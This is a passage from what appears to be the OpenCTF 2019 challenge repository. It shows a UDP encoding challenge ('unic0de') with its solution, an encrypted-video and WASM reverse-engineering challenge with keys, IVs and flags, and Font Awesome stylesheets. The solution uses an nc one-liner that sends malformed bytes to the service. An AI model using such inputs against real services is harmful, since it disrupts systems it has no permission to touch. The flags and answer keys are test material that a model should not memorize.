"./server.py", "-u"] 12 | #ENTRYPOINT ["/bin/sh"] 13 | 14 | EXPOSE 2044 15 | -------------------------------------------------------------------------------- /challenges/unic0de/README.md: -------------------------------------------------------------------------------- 1 | # unic0de 2 | 3 | *by Javantea* 4 | Sept 27, 2017 and May 11, 2019 5 | 6 | Score: 100 7 | 8 | Description: This appears to be another malicious service. Can you try to take it offline or at least fix it? This service runs on UDP. 9 | 10 | Category: pwnable 11 | 12 | ## Notes 13 | 14 | Give me invalid utf-8 that is also invalid utf-16. 15 | 16 | I am teaching people to understand what the fuck encoding means. 17 | 18 | Why UDP? Because we are too smart to use TCP or HTTP. 19 | 20 | Solution is solve.py 21 | -------------------------------------------------------------------------------- /challenges/unic0de/SOLUTION.md: -------------------------------------------------------------------------------- 1 | # Unic0de Solution 2 | *by Javantea* 3 | Jun 3, 2019 4 | 5 | You need to give it invalid utf-8 that is also invalid utf-16. It responds with the error and the flag encoded with utf-7. This fits the real world scenario where someone has a try catch around their unicode decoder with a decode in their catch. 6 | 7 | solve.py shows the basic structure of my solution which is reproduced below. 8 | 9 | ``` 10 | ssh javantea@ctf.neg9.net 11 | echo -n $'\xc9\x91\xef' | nc -u challenges 9010 12 | 'utf-16-le' codec can't decode byte 0xef in position 2: truncated data+2DXcH//o2ADcXAJR/0c +2DXdztg13V/YNd8E2DXdvNg13CjYNd1V2DXcUg +BU/YNdyw2DXcaqTXBAU- 13 | 14 | python 15 | a = b'+2DXcH//o2ADcXAJR/0c +2DXdztg13V/YNd8E2DXdvNg13CjYNd1V2DXcUg +BU/YNdyw2DXcaqTXBAU-'.decode('utf-7') 16 | a 17 | '𝐟│𐁜ɑg 𝗎𝕟𝜄𝖼𝐨𝕕𝑒 Տ𝒰𝑪ꓗЅ' 18 | 19 | ``` 20 | 21 | ## Troubleshooting 22 | 23 | Before you says "it doesn't work for me" there is an infrastructure problem where udp packets are being dropped. It's not my challenge's fault. We need to fix the infrastructure. Until then, send the exploit multiple times. 24 | -------------------------------------------------------------------------------- /challenges/unic0de/flag.txt: -------------------------------------------------------------------------------- 1 | \U0001D41F\uFFE8\U0001005C\u0251\uFF47 \U0001D5CE\U0001D55F\U0001D704\U0001D5BC\U0001D428\U0001D555\U0001D452 \u054F\U0001D4B0\U0001D46A\uA4D7\u0405 2 | -------------------------------------------------------------------------------- /challenges/unic0de/solve.py: -------------------------------------------------------------------------------- 1 | """ 2 | echo -n $'\xc9\x91\xef' | nc -u localhost 2044 3 | 'utf-16-le' codec can't decode byte 0xef in position 2: truncated data+2DXcH//o2ADcXAJR/0c +2DXdztg13V/YNd8E2DXdvNg13CjYNd1V2DXcUg +BU/YNdyw2DXcaqTXBAU- 4 | 5 | python3 6 | """ 7 | 8 | a = b'+2DXcH//o2ADcXAJR/0c +2DXdztg13V/YNd8E2DXdvNg13CjYNd1V2DXcUg +BU/YNdyw2DXcaqTXBAU-'.decode('utf-7') 9 | a 10 | '𝐟│𐁜ɑg 𝗎𝕟𝜄𝖼𝐨𝕕𝑒 Տ𝒰𝑪ꓗЅ' 11 | -------------------------------------------------------------------------------- /challenges/widevinecdm.so/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.7-alpine 2 | 3 | ENV httpdir /web 4 | 5 | COPY web ${httpdir} 6 | COPY httpsd.py /httpsd.py 7 | COPY certkey.pem /certkey.pem 8 | 9 | WORKDIR ${httpdir} 10 | 11 | ENTRYPOINT ["python", "/httpsd.py"] 12 | 13 | EXPOSE 4443 14 | -------------------------------------------------------------------------------- /challenges/widevinecdm.so/Makefile: -------------------------------------------------------------------------------- 1 | # Makefile for binary.wasm (sq.c) 2 | 3 | CFLAGS=-ggdb -O2 -Wall -ansi 4 | 5 | DOUBLE_CFLAGS=-DTEST $(CFLAGS) 6 | 7 | all: binary.wasm double.so double double.wasm 8 | 9 | binary.wasm: sq.c 10 | clang -cc1 -Ofast -emit-llvm-bc -triple=wasm32-unknown-unknown-wasm -std=c11 -fvisibility hidden sq.c 11 | llvm-link -o wasm.bc sq.bc 12 | opt -O3 wasm.bc -o wasm.bc 13 | llc -O3 -filetype=obj wasm.bc -o wasm.o 14 | wasm-ld --no-entry wasm.o -o binary.wasm --strip-all -allow-undefined-file wasm.syms --import-memory 15 | 16 | double.so: double.c 17 | $(CC) -o $@ $^ $(CFLAGS) -shared -fPIC 18 | 19 | double: double.c 20 | $(CC) -o $@ $^ $(DOUBLE_CFLAGS) -pie 21 | 22 | %.bc: %.c 23 | clang -cc1 -Ofast -emit-llvm-bc -triple=wasm32-unknown-unknown-wasm -std=c11 -fvisibility hidden $^ 24 | 25 | # FIXME: this is way wrong. Do not do this! 26 | %.wasm: %.bc 27 | opt -O3 $^ -o $^ 28 | llc -O3 -filetype=obj $^ -o $^.o 29 | wasm-ld --no-entry $^.o -o $@ --strip-all -allow-undefined-file double.syms --import-memory 30 | 31 | -------------------------------------------------------------------------------- /challenges/widevinecdm.so/Makefile.emcc: -------------------------------------------------------------------------------- 1 | 2 | 3 | web/playlist.m3u8: fire3.mp4 key_info 4 | ffmpeg -i fire3.mp4 -c copy -bsf:v h264_mp4toannexb -hls_time 10 -hls_key_info_file key_info web/playlist.m3u8 5 | 6 | key_info: video.key 7 | echo "https://openctf.hack/video.key" >key_info 8 | echo "video.key" >>key_info 9 | # This is the IV, it is good to not screw with this unless you're prepared. 10 | # dd if=/dev/urandom bs=64 count=3 |sha512sum |cut -c 1-32 11 | echo "5c3d28d9553d133eb0e7aff0106263ee" >>key_info 12 | 13 | video.key: 14 | # This is the actual key that we encrypt with. Don't mess with it unless you are prepared. 15 | # FIXME: there's a pretty clear disconnect between the m3u8 and the size of this key (256-bit) 16 | dd if=/dev/urandom bs=64 count=4 |sha512sum |xxd -ps -r |dd bs=32 count=1 >video.key 17 | -------------------------------------------------------------------------------- /challenges/widevinecdm.so/README.md: -------------------------------------------------------------------------------- 1 | # widevinecdm.so 2 | 3 | ## Score 4 | 100 5 | 6 | ## Description 7 | We need this video for the big show. But somebody encrypted it and lost the key. Would you reverse libwidevinecdm.so for us real quick? We need the original video byte-for-byte. The key in hex would also be sufficient. 8 | 9 | ## Category 10 | web 11 | -------------------------------------------------------------------------------- /challenges/widevinecdm.so/binary.wasm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/widevinecdm.so/binary.wasm -------------------------------------------------------------------------------- /challenges/widevinecdm.so/dist/libwidevinecdm.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/widevinecdm.so/dist/libwidevinecdm.so -------------------------------------------------------------------------------- /challenges/widevinecdm.so/fire3.mp4: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/widevinecdm.so/fire3.mp4 -------------------------------------------------------------------------------- /challenges/widevinecdm.so/flag2b.mp4: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/widevinecdm.so/flag2b.mp4 -------------------------------------------------------------------------------- /challenges/widevinecdm.so/flag2b1.txt: -------------------------------------------------------------------------------- 1 | file 'video_cover.mp4' 2 | file 'flag2b.mp4' 3 | -------------------------------------------------------------------------------- /challenges/widevinecdm.so/flag2b1_gen.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | for i in $(seq 0 9); do cp -i video720.png video720_0"$i".png ; done 4 | 5 | for file in video_cover.mp4 flag2b.mp4; do echo "file '$file'"; done >flag2b1.txt 6 | ffmpeg -f concat -i flag2b1.txt -c copy flag2b1.mp4 7 | 8 | -------------------------------------------------------------------------------- /challenges/widevinecdm.so/flag2b1b_with_flag2.mp4: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/widevinecdm.so/flag2b1b_with_flag2.mp4 -------------------------------------------------------------------------------- /challenges/widevinecdm.so/flags.txt: -------------------------------------------------------------------------------- 1 | 1ae8ccd0e7985cc0b6203a55855a1034afc252980e970ca90e5202689f947ab9 2 | flag{writeup required. no exceptions. Hidden Keys to Software Break-ins and Unauthorized Entry - Dmitry Sklyarov} -------------------------------------------------------------------------------- /challenges/widevinecdm.so/key_info: -------------------------------------------------------------------------------- 1 | https://openctf.hack/video.key 2 | video.key 3 | 5c3d28d9553d133eb0e7aff0106263ee 4 | -------------------------------------------------------------------------------- /challenges/widevinecdm.so/provide_the_key.txt: -------------------------------------------------------------------------------- 1 | Double Substitution Cipher 2 | 3 | Think clearly about this: 4 | 5 | provide not the key but the key encrypted with a cipher. The user must then get the key to the cipher from a server that requires authentication. The authentication can't be done willy nilly. Then the video plays but you can't just give the key as the flag. You have to get the raw data from the video, so that is where reverse engineering widevine comes in. Instead of attacking widevine, you simply take the key and decrypt the video. 6 | 7 | So that is where double substitution comes in. They won't know how to do it, but they'll have some obfuscated WASM that does it. 8 | 9 | -------------------------------------------------------------------------------- /challenges/widevinecdm.so/sq.c: -------------------------------------------------------------------------------- 1 | 2 | int x(int v) 3 | { 4 | return v * v; 5 | } 6 | -------------------------------------------------------------------------------- /challenges/widevinecdm.so/video.key: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/widevinecdm.so/video.key -------------------------------------------------------------------------------- /challenges/widevinecdm.so/video_cover.mp4: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/widevinecdm.so/video_cover.mp4 -------------------------------------------------------------------------------- /challenges/widevinecdm.so/web/binary.wasm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/widevinecdm.so/web/binary.wasm -------------------------------------------------------------------------------- /challenges/widevinecdm.so/web/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/widevinecdm.so/web/favicon.ico -------------------------------------------------------------------------------- /challenges/widevinecdm.so/web/final1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/widevinecdm.so/web/final1.png -------------------------------------------------------------------------------- /challenges/widevinecdm.so/web/no_auth: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/widevinecdm.so/web/no_auth -------------------------------------------------------------------------------- /challenges/widevinecdm.so/web/playlist.m3u8: -------------------------------------------------------------------------------- 1 | #EXTM3U 2 | #EXT-X-VERSION:3 3 | #EXT-X-TARGETDURATION:10 4 | #EXT-X-MEDIA-SEQUENCE:0 5 | #EXT-X-KEY:METHOD=AES-128,URI="https://openctf.hack/video.key",IV=0x5c3d28d9553d133eb0e7aff0106263ee 6 | #EXTINF:10.000000, 7 | playlist0.ts 8 | #EXTINF:8.000000, 9 | playlist1.ts 10 | #EXT-X-ENDLIST 11 | -------------------------------------------------------------------------------- /challenges/widevinecdm.so/web/playlist0.ts: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/widevinecdm.so/web/playlist0.ts -------------------------------------------------------------------------------- /challenges/widevinecdm.so/web/playlist1.ts: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/widevinecdm.so/web/playlist1.ts -------------------------------------------------------------------------------- /challenges/widevinecdm.so/web/sp/h2642.mpd: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | AAAALHBzc2gAAAAA7e+LqXnWSs6jyCfc1R0h7QAAAAwiBGJmb2ZI49yVmwY= 9 | 10 | 11 | h264_720p2.mp4 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | -------------------------------------------------------------------------------- /challenges/widevinecdm.so/web/sp/h264_720p2.mp4: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/widevinecdm.so/web/sp/h264_720p2.mp4 -------------------------------------------------------------------------------- /challenges/widevinecdm.so/web/sp/h264_master2.m3u8: -------------------------------------------------------------------------------- 1 | #EXTM3U 2 | ## Generated with https://github.com/google/shaka-packager version 3c26dfbd53-release 3 | 4 | #EXT-X-STREAM-INF:BANDWIDTH=1823548,AVERAGE-BANDWIDTH=313674,CODECS="avc1.42c01e",RESOLUTION=1280x720 5 | stream_0.m3u8 6 | -------------------------------------------------------------------------------- /challenges/widevinecdm.so/web/video.ogv.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/widevinecdm.so/web/video.ogv.jpg -------------------------------------------------------------------------------- /challenges/widevinecdm.so/web/wasm1.html: -------------------------------------------------------------------------------- 1 | 2 | 32 | -------------------------------------------------------------------------------- /challenges/widevinecdm.so/web/wasm2.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 37 | -------------------------------------------------------------------------------- /website-openctf.cat/fonts/font-awesome/css/brands.min.css: -------------------------------------------------------------------------------- 1 | @font-face{font-family:"Font Awesome 5 Brands";font-style:normal;font-weight:normal;font-display:auto;src:url(../webfonts/fa-brands-400.eot);src:url(../webfonts/fa-brands-400.eot?#iefix) format("embedded-opentype"),url(../webfonts/fa-brands-400.woff2) format("woff2"),url(../webfonts/fa-brands-400.woff) format("woff"),url(../webfonts/fa-brands-400.ttf) format("truetype"),url(../webfonts/fa-brands-400.svg#fontawesome) format("svg")}.fab{font-family:"Font Awesome 5 Brands"} -------------------------------------------------------------------------------- /website-openctf.cat/fonts/font-awesome/css/solid.min.css: -------------------------------------------------------------------------------- 1 | @font-face{font-family:"Font Awesome 5 Free";font-style:normal;font-weight:900;font-display:auto;src:url(../webfonts/fa-solid-900.eot);src:url(../webfonts/fa-solid-900.eot?#iefix) format("embedded-opentype"),url(../webfonts/fa-solid-900.woff2) format("woff2"),url(../webfonts/fa-solid-900.woff) format("woff"),url(../webfonts/fa-solid-900.ttf) format("truetype"),url(../webfonts/fa-solid-900.svg#fontawesome) format("svg")}.fa,.fas{font-family:"Font Awesome 5 Free";font-weight:900} -------------------------------------------------------------------------------- /website-openctf.cat/fonts/font-awesome/less/_animated.less: -------------------------------------------------------------------------------- 1 | // Animated Icons 2 | // -------------------------- 3 | 4 | .@{fa-css-prefix}-spin { 5 | animation: fa-spin 2s infinite linear; 6 | } 7 | 8 | .@{fa-css-prefix}-pulse { 9 | animation: fa-spin 1s infinite steps(8); 10 | } 11 | 12 | @keyframes fa-spin { 13 | 0% { 14 | transform: rotate(0deg); 15 | } 16 | 100% { 17 | transform: rotate(360deg); 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /website-openctf.cat/fonts/font-awesome/less/_bordered-pulled.less: -------------------------------------------------------------------------------- 1 | // Bordered & Pulled 2 | // ------------------------- 3 | 4 | .@{fa-css-prefix}-border { 5 | border-radius: .1em; 6 | border: solid .08em @fa-border-color; 7 | padding: .2em .25em .15em; 8 | } 9 | 10 | .@{fa-css-prefix}-pull-left { float: left; } 11 | .@{fa-css-prefix}-pull-right { float: right; } 12 | 13 | .@{fa-css-prefix}, .fas, .far, .fal, .fab { 14 | &.@{fa-css-prefix}-pull-left { margin-right: .3em; } 15 | &.@{fa-css-prefix}-pull-right { margin-left: .3em; } 16 | } 17 | -------------------------------------------------------------------------------- /website-openctf.cat/fonts/font-awesome/less/_core.less: -------------------------------------------------------------------------------- 1 | // Base Class Definition 2 | // ------------------------- 3 | 4 | .@{fa-css-prefix}, .fas, .far, .fal, .fab { 5 | -moz-osx-font-smoothing: grayscale; 6 | -webkit-font-smoothing: antialiased; 7 | display: inline-block; 8 | font-style: normal; 9 | font-variant: normal; 10 | text-rendering: auto; 11 | line-height: 1; 12 | } 13 | -------------------------------------------------------------------------------- /website-openctf.cat/fonts/font-awesome/less/_fixed-width.less: -------------------------------------------------------------------------------- 1 | // Fixed Width Icons 2 | // ------------------------- 3 | .@{fa-css-prefix}-fw { 4 | text-align: center; 5 | width: (20em / 16); 6 | } 7 | -------------------------------------------------------------------------------- /website-openctf.cat/fonts/font-awesome/less/_larger.less: -------------------------------------------------------------------------------- 1 | // Icon Sizes 2 | // ------------------------- 3 | 4 | .larger(@factor) when (@factor > 0) { 5 | .larger((@factor - 1)); 6 | 7 | .@{fa-css-prefix}-@{factor}x { 8 | font-size: (@factor * 1em); 9 | } 10 | } 11 | 12 | /* makes the font 33% larger relative to the icon container */ 13 | .@{fa-css-prefix}-lg { 14 | font-size: (4em / 3); 15 | line-height: (3em / 4); 16 | vertical-align: -.0667em; 17 | } 18 | 19 | .@{fa-css-prefix}-xs { 20 | font-size: .75em; 21 | } 22 | 23 | .@{fa-css-prefix}-sm { 24 | font-size: .875em; 25 | } 26 | 27 | .larger(10); 28 | -------------------------------------------------------------------------------- /website-openctf.cat/fonts/font-awesome/less/_list.less: -------------------------------------------------------------------------------- 1 | // List Icons 2 | // ------------------------- 3 | 4 | .@{fa-css-prefix}-ul { 5 | list-style-type: none; 6 | margin-left: @fa-li-width * 5/4; 7 | padding-left: 0; 8 | 9 | > li { position: relative; } 10 | } 11 | 12 | .@{fa-css-prefix}-li { 13 | left: -@fa-li-width; 14 | position: absolute; 15 | text-align: center; 16 | width: @fa-li-width; 17 | line-height: inherit; 18 | } 19 | -------------------------------------------------------------------------------- /website-openctf.cat/fonts/font-awesome/less/_rotated-flipped.less: -------------------------------------------------------------------------------- 1 | // Rotated & Flipped Icons 2 | // ------------------------- 3 | 4 | .@{fa-css-prefix}-rotate-90 { .fa-icon-rotate(90deg, 1); } 5 | .@{fa-css-prefix}-rotate-180 { .fa-icon-rotate(180deg, 2); } 6 | .@{fa-css-prefix}-rotate-270 { .fa-icon-rotate(270deg, 3); } 7 | 8 | .@{fa-css-prefix}-flip-horizontal { .fa-icon-flip(-1, 1, 0); } 9 | .@{fa-css-prefix}-flip-vertical { .fa-icon-flip(1, -1, 2); } 10 | .@{fa-css-prefix}-flip-both, .@{fa-css-prefix}-flip-horizontal.@{fa-css-prefix}-flip-vertical { .fa-icon-flip(-1, -1, 2); } 11 | 12 | // Hook for IE8-9 13 | // ------------------------- 14 | 15 | :root { 16 | .@{fa-css-prefix}-rotate-90, 17 | .@{fa-css-prefix}-rotate-180, 18 | .@{fa-css-prefix}-rotate-270, 19 | .@{fa-css-prefix}-flip-horizontal, 20 | .@{fa-css-prefix}-flip-vertical, 21 | .@{fa-css-prefix}-flip-both { 22 | filter: none; 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /website-openctf.cat/fonts/font-awesome/less/_screen-reader.less: -------------------------------------------------------------------------------- 1 | // Screen Readers 2 | // ------------------------- 3 | 4 | .sr-only { .sr-only(); } 5 | .sr-only-focusable { .sr-only-focusable(); } 6 | -------------------------------------------------------------------------------- /website-openctf.cat/fonts/font-awesome/less/_stacked.less: -------------------------------------------------------------------------------- 1 | // Stacked Icons 2 | // ------------------------- 3 | 4 | .@{fa-css-prefix}-stack { 5 | display: inline-block; 6 | height: 2em; 7 | line-height: 2em; 8 | position: relative; 9 | vertical-align: middle; 10 | width: 2em; 11 | } 12 | 13 | .@{fa-css-prefix}-stack-1x, .@{fa-css-prefix}-stack-2x { 14 | left: 0; 15 | position: absolute; 16 | text-align: center; 17 | width: 100%; 18 | } 19 | 20 | .@{fa-css-prefix}-stack-1x { line-height: inherit; } 21 | .@{fa-css-prefix}-stack-2x { font-size: 2em; } 22 | .@{fa-css-prefix}-inverse { color: @fa-inverse; } 23 | -------------------------------------------------------------------------------- /website-openctf.cat/fonts/font-awesome/less/brands.less: -------------------------------------------------------------------------------- 1 | @import "_variables.less"; 2 | 3 | @font-face { 4 | font-family: 'Font Awesome 5 Brands'; 5 | font-style: normal; 6 | font-weight: normal; 7 | font-display: @fa-font-display; 8 | src: url('@{fa-font-path}/fa-brands-400.eot'); 9 | src: url('@{fa-font-path}/fa-brands-400.eot?#iefix') format('embedded-opentype'), 10 | url('@{fa-font-path}/fa-brands-400.woff2') format('woff2'), 11 | url('@{fa-font-path}/fa-brands-400.woff') format('woff'), 12 | url('@{fa-font-path}/fa-brands-400.ttf') format('truetype'), 13 | url('@{fa-font-path}/fa-brands-400.svg#fontawesome') format('svg'); 14 | } 15 | 16 | .fab { 17 | font-family: 'Font Awesome 5 Brands'; 18 | } 19 | -------------------------------------------------------------------------------- /website-openctf.cat/fonts/font-awesome/less/fontawesome.less: -------------------------------------------------------------------------------- 1 | @import "_variables.less"; 2 | @import "_mixins.less"; 3 | @import "_core.less"; 4 | @import "_larger.less"; 5 | @import "_fixed-width.less"; 6 | @import "_list.less"; 7 | @import "_bordered-pulled.less"; 8 | @import "_animated.less"; 9 | @import "_rotated-flipped.less"; 10 | @import "_stacked.less"; 11 | @import "_icons.less"; 12 | @import "_screen-reader.less"; 13 | -------------------------------------------------------------------------------- /website-openctf.cat/fonts/font-awesome/less/regular.less: -------------------------------------------------------------------------------- 1 | @import "_variables.less"; 2 | 3 | @font-face { 4 | font-family: 'Font Awesome 5 Free'; 5 | font-style: normal; 6 | font-weight: 400; 7 | font-display: @fa-font-display; 8 | src: url('@{fa-font-path}/fa-regular-400.eot'); 9 | src: url('@{fa-font-path}/fa-regular-400.eot?#iefix') format('embedded-opentype'), 10 | url('@{fa-font-path}/fa-regular-400.woff2') format('woff2'), 11 | url('@{fa-font-path}/fa-regular-400.woff') format('woff'), 12 | url('@{fa-font-path}/fa-regular-400.ttf') format('truetype'), 13 | url('@{fa-font-path}/fa-regular-400.svg#fontawesome') format('svg'); 14 | } 15 | 16 | .far { 17 | font-family: 'Font Awesome 5 Free'; 18 | font-weight: 400; 19 | } 20 | -------------------------------------------------------------------------------- /website-openctf.cat/fonts/font-awesome/less/solid.less: -------------------------------------------------------------------------------- 1 | @import "_variables.less"; 2 | 3 | @font-face { 4 | font-family: 'Font Awesome 5 Free'; 5 | font-style: normal; 6 | font-weight: 900; 7 | font-display: @fa-font-display; 8 | src: url('@{fa-font-path}/fa-solid-900.eot'); 9 | src: url('@{fa-font-path}/fa-solid-900.eot?#iefix') format('embedded-opentype'), 10 | url('@{fa-font-path}/fa-solid-900.woff2') format('woff2'), 11 | url('@{fa-font-path}/fa-solid-900.woff') format('woff'), 12 | url('@{fa-font-path}/fa-solid-900.ttf') format('truetype'), 13 | url('@{fa-font-path}/fa-solid-900.svg#fontawesome') format('svg'); 14 | } 15 | 16 | .fa, 17 | .fas { 18 | font-family: 'Font Awesome 5 Free'; 19 | font-weight: 900; 20 | } 21 | -------------------------------------------------------------------------------- /website-openctf.cat/fonts/font-awesome/less/v4-shims.less: -------------------------------------------------------------------------------- 1 | @import '_variables.less'; 2 | @import '_shims.less'; 3 | -------------------------------------------------------------------------------- /website-openctf.cat/fonts/font-awesome/scss/_animated.scss: -------------------------------------------------------------------------------- 1 | // Animated Icons 2 | // -------------------------- 3 | 4 | .#{$fa-css-prefix}-spin { 5 | animation: fa-spin 2s infinite linear; 6 | } 7 | 8 | .#{$fa-css-prefix}-pulse { 9 | animation: fa-spin 1s infinite steps(8); 10 | } 11 | 12 | @keyframes fa-spin { 13 | 0% { 14 | transform: rotate(0deg); 15 | } 16 | 17 | 100% { 18 | transform: rotate(360deg); 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /website-openctf.cat/fonts/font-awesome/scss/_bordered-pulled.scss: -------------------------------------------------------------------------------- 1 | // Bordered & Pulled 2 | // ------------------------- 3 | 4 | .#{$fa-css-prefix}-border { 5 | border: solid .08em $fa-border-color; 6 | border-radius: .1em; 7 | padding: .2em .25em .15em; 8 | } 9 | 10 | .#{$fa-css-prefix}-pull-left { float: left; } 11 | .#{$fa-css-prefix}-pull-right { float: right; } 12 | 13 | .#{$fa-css-prefix}, 14 | .fas, 15 | .far, 16 | .fal, 17 | .fab { 18 | &.#{$fa-css-prefix}-pull-left { margin-right: .3em; } 19 | &.#{$fa-css-prefix}-pull-right { margin-left: .3em; } 20 | } 21 | -------------------------------------------------------------------------------- /website-openctf.cat/fonts/font-awesome/scss/_core.scss: -------------------------------------------------------------------------------- 1 | // Base Class Definition 2 | // ------------------------- 3 | 4 | .#{$fa-css-prefix}, 5 | .fas, 6 | .far, 7 | .fal, 8 | .fab { 9 | -moz-osx-font-smoothing: grayscale; 10 | -webkit-font-smoothing: antialiased; 11 | display: inline-block; 12 | font-style: normal; 13 | font-variant: normal; 14 | text-rendering: auto; 15 | line-height: 1; 16 | } 17 | 18 | %fa-icon { 19 | @include fa-icon; 20 | } 21 | -------------------------------------------------------------------------------- /website-openctf.cat/fonts/font-awesome/scss/_fixed-width.scss: -------------------------------------------------------------------------------- 1 | // Fixed Width Icons 2 | // ------------------------- 3 | .#{$fa-css-prefix}-fw { 4 | text-align: center; 5 | width: $fa-fw-width; 6 | } 7 | -------------------------------------------------------------------------------- /website-openctf.cat/fonts/font-awesome/scss/_larger.scss: -------------------------------------------------------------------------------- 1 | // Icon Sizes 2 | // ------------------------- 3 | 4 | // makes the font 33% larger relative to the icon container 5 | .#{$fa-css-prefix}-lg { 6 | font-size: (4em / 3); 7 | line-height: (3em / 4); 8 | vertical-align: -.0667em; 9 | } 10 | 11 | .#{$fa-css-prefix}-xs { 12 | font-size: .75em; 13 | } 14 | 15 | .#{$fa-css-prefix}-sm { 16 | font-size: .875em; 17 | } 18 | 19 | @for $i from 1 through 10 { 20 | .#{$fa-css-prefix}-#{$i}x { 21 | font-size: $i * 1em; 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /website-openctf.cat/fonts/font-awesome/scss/_list.scss: -------------------------------------------------------------------------------- 1 | // List Icons 2 | // ------------------------- 3 | 4 | .#{$fa-css-prefix}-ul { 5 | list-style-type: none; 6 | margin-left: $fa-li-width * 5/4; 7 | padding-left: 0; 8 | 9 | > li { position: relative; } 10 | } 11 | 12 | .#{$fa-css-prefix}-li { 13 | left: -$fa-li-width; 14 | position: absolute; 15 | text-align: center; 16 | width: $fa-li-width; 17 | line-height: inherit; 18 | } 19 | -------------------------------------------------------------------------------- /website-openctf.cat/fonts/font-awesome/scss/_rotated-flipped.scss: -------------------------------------------------------------------------------- 1 | // Rotated & Flipped Icons 2 | // ------------------------- 3 | 4 | .#{$fa-css-prefix}-rotate-90 { @include fa-icon-rotate(90deg, 1); } 5 | .#{$fa-css-prefix}-rotate-180 { @include fa-icon-rotate(180deg, 2); } 6 | .#{$fa-css-prefix}-rotate-270 { @include fa-icon-rotate(270deg, 3); } 7 | 8 | .#{$fa-css-prefix}-flip-horizontal { @include fa-icon-flip(-1, 1, 0); } 9 | .#{$fa-css-prefix}-flip-vertical { @include fa-icon-flip(1, -1, 2); } 10 | .#{$fa-css-prefix}-flip-both, .#{$fa-css-prefix}-flip-horizontal.#{$fa-css-prefix}-flip-vertical { @include fa-icon-flip(-1, -1, 2); } 11 | 12 | // Hook for IE8-9 13 | // ------------------------- 14 | 15 | :root { 16 | .#{$fa-css-prefix}-rotate-90, 17 | .#{$fa-css-prefix}-rotate-180, 18 | .#{$fa-css-prefix}-rotate-270, 19 | .#{$fa-css-prefix}-flip-horizontal, 20 | .#{$fa-css-prefix}-flip-vertical, 21 | .#{$fa-css-prefix}-flip-both { 22 | filter: none; 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /website-openctf.cat/fonts/font-awesome/scss/_screen-reader.scss: -------------------------------------------------------------------------------- 1 | // Screen Readers 2 | // ------------------------- 3 | 4 | .sr-only { @include sr-only; } 5 | .sr-only-focusable { @include sr-only-focusable; } 6 | -------------------------------------------------------------------------------- /website-openctf.cat/fonts/font-awesome/scss/_stacked.scss: -------------------------------------------------------------------------------- 1 | // Stacked Icons 2 | // ------------------------- 3 | 4 | .#{$fa-css-prefix}-stack { 5 | display: inline-block; 6 | height: 2em; 7 | line-height: 2em; 8 | position: relative; 9 | vertical-align: middle; 10 | width: ($fa-fw-width*2); 11 | } 12 | 13 | .#{$fa-css-prefix}-stack-1x, 14 | .#{$fa-css-prefix}-stack-2x { 15 | left: 0; 16 | position: absolute; 17 | text-align: center; 18 | width: 100%; 19 | } 20 | 21 | .#{$fa-css-prefix}-stack-1x { 22 | line-height: inherit; 23 | } 24 | 25 | .#{$fa-css-prefix}-stack-2x { 26 | font-size: 2em; 27 | } 28 | 29 | .#{$fa-css-prefix}-inverse { 30 | color: $fa-inverse; 31 | } 32 | -------------------------------------------------------------------------------- /website-openctf.cat/fonts/font-awesome/scss/brands.scss: -------------------------------------------------------------------------------- 1 | @import 'variables'; 2 | 3 | @font-face { 4 | font-family: 'Font Awesome 5 Brands'; 5 | font-style: normal; 6 | font-weight: normal; 7 | font-display: $fa-font-display; 8 | src: url('#{$fa-font-path}/fa-brands-400.eot'); 9 | src: url('#{$fa-font-path}/fa-brands-400.eot?#iefix') format('embedded-opentype'), 10 | url('#{$fa-font-path}/fa-brands-400.woff2') format('woff2'), 11 | url('#{$fa-font-path}/fa-brands-400.woff') format('woff'), 12 | url('#{$fa-font-path}/fa-brands-400.ttf') format('truetype'), 13 | url('#{$fa-font-path}/fa-brands-400.svg#fontawesome') format('svg'); 14 | } 15 | 16 | .fab { 17 | font-family: 'Font Awesome 5 Brands'; 18 | } 19 | -------------------------------------------------------------------------------- /website-openctf.cat/fonts/font-awesome/scss/fontawesome.scss: 